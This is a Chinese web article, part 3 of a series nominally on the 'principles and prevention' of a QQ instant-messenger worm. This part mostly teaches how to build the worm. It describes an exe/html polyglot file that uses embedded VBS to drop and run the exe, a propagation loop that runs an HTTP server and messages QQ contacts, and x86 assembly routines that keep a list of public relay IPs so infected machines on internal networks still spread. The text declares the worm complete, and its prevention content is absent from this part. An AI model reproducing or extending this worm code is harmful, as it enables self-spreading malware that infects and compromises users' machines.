首页 | 编程语言 | 网站建设 | 游戏天堂 | 冲浪宝典 | 网络安全 | 操作系统 | 软件时空 | 硬件指南 | 病毒相关 | IT 认证
软讯网络 > 网络安全 > 黑客技术 > 基于P2P思想的QQ蠕虫的原理与防治(3)
【标  题】:基于P2P思想的QQ蠕虫的原理与防治(3)
【关键字】:原理,QQ,蠕虫,P2P,P2P,QQ
【来  源】:网络

基于P2P思想的QQ蠕虫的原理与防治(3)

基于P2P思想的QQ蠕虫的原理与防治(3)

3. 发送html页面的实现.

因为IE识别的是html,而不能执行exe.所以,html要包含exe.然后利用html

内嵌的vbs,生成并运行exe,从而达到传播的目的。

可是,对exe编码和解码具有一定的难度,如何才能使代码最简练,最节约空间呢?这里给出一种新思路。

把exe和html硬编码到一个文件,就相当于将exe文件指针移动到末尾,然后将html文件写到exe之后。这样,当文件扩展名是exe时,就执行exe(因为文件确实是PE结构),扩展名是html时,就当作html解释,此时exe内容就是乱码,显示在ie窗口之中。如下:

db ''

db 'Thank you for test it!'

容易看出,html代码只是exe中的一段数据。 exe运行后,创建http服务和监视QQ,继续传播。至此,一个完整的QQ蠕虫就完成了。

三.局限性与解决方案

如果目标机器禁止了vbs的运行,同样无法传播。但是,单纯以vbs为传播手段的病毒都可以大行其道,它也可以。

基于P2P思想,虽然不受固定服务器的限制。但是在某些情况下无法传播。比如,被感染的机器在内网中,尽管它可以被感染,但无法感染其他机器。因为

其他机器找不到它的ip.它无法作为服务器。

解决方法如下:

1. 程序体内保存一块空间,是4的倍数(in_addr的大小),用来保存真正的IP.

2. 在一台机器获得控制权后,得到本机IP(gethostname, gethostbyname),分析是否为内网

是则调用SelectTrueIP,从iplist中选择一个真正的ip,否则调用UpdateIPList,更新iplist,因为iplist可能还有未填充项或者过时的ip.验证是否过时向它发出连接即可。

3. 这样,当机器处于内网时,会向好友发出_blank>http://trueip:80的消息,对方则向trueip发出连接而不是内网的机器,和DRDos相似。代码如下:

IsActiveIP PROC IP : DWORD

LOCAL VSocket : DWORD

push ecx

push IPPROTO_TCP

push SOCK_STREAM

push AF_INET

call socket

mov VSocket,eax

push IP

pop TestIP

push sizeof(sockaddr) ; Size of connect strucure=16

call IAI1 ; Connect structure

dw AF_INET ; Family

db 0,80 ; Port number,avoid htons :)

TestIP dd 0 ; in_addr of server

db 8 dup(0) ; Unused

IAI1:

push VSocket

call connect ;ret 0 if sucess

push eax

push VSocket

call closesocket

pop eax

pop ecx

ret 4

IsActiveIP ENDP

SelectTrueIP:

push 64

pop ecx

mov esi , offset TrueIPList

STI1: lodsd

push eax

call IsActiveIP ;ret 0 if sucess

.if eax == 0

sub esi , 4

lodsd

jmp STIExit

.else

loop STI1

.endif

xor eax , eax

STIExit:

ret

UpdateTrueIP PROC TrueIP : DWORD

push 64

pop ecx

mov esi , offset TrueIPList

UT1: lodsd

.if eax == 0

push TrueIP

pop [esi-4]

jmp UTExit

.else

loop UT1

.endif

push 64

pop ecx

mov esi , offset TrueIPList

UT2:

lodsd

push eax

call IsActiveIP ;ret 0 if sucess

.if eax != 0

push TrueIP

pop [esi-4]

jmp UTExit

.else

loop UT1

.endif

UTExit:

mov eax , TrueIP

ret 4

UpdateTrueIP ENDP

TrueIPList db 256 dup (0)(未完待续)
基于P2P思想的QQ蠕虫的原理与防治(4):【上一篇】
基于P2P思想的QQ蠕虫的原理与防治(2):【下一篇】
【相关文章】
  • 基于P2P思想的QQ蠕虫的原理与防治(4)
  • QQ小技巧快速传文件 拒绝广告短信的骚扰
  • QQ安全三大纪律八项注意
  • 忘记密码照样看QQ聊天记录
  • 嗅探原理与反嗅探技术详解(1)
  • 嗅探原理与反嗅探技术详解(2)
  • 嗅探原理与反嗅探技术详解(3)
  • 用NTFS权限拒收QQ广告
  • 病毒检测软件的作用原理
  • “QQ播客”病毒手工清除方法
  • 【随机文章】
  • 无线窄带通信技术在银行的应用
  • atoi(将字符串转换成整型数)
  • 在win 2003中得到登陆密码
  • 添加/删除程序”功能任我定
  • 一周精品网页回顾(060408----060414)
  • 解剖Windows XP SP2中的八大终极武器
  • Win Server 2003 10条小技巧
  • 【转】摩托罗拉C++面试题
  • 某交通客运信息管理系统
  • VSFTPD的高手篇
  • 【相关评论】
    没有相关评论
    【发表评论】
    姓名:
    邮件:
    随机码*
    评论*
          
    |  首 页  |  版权声明  |  联系我们   |  网站地图  |
    CopyRight © 2004-2007 软讯网络 All Rigths Reserved.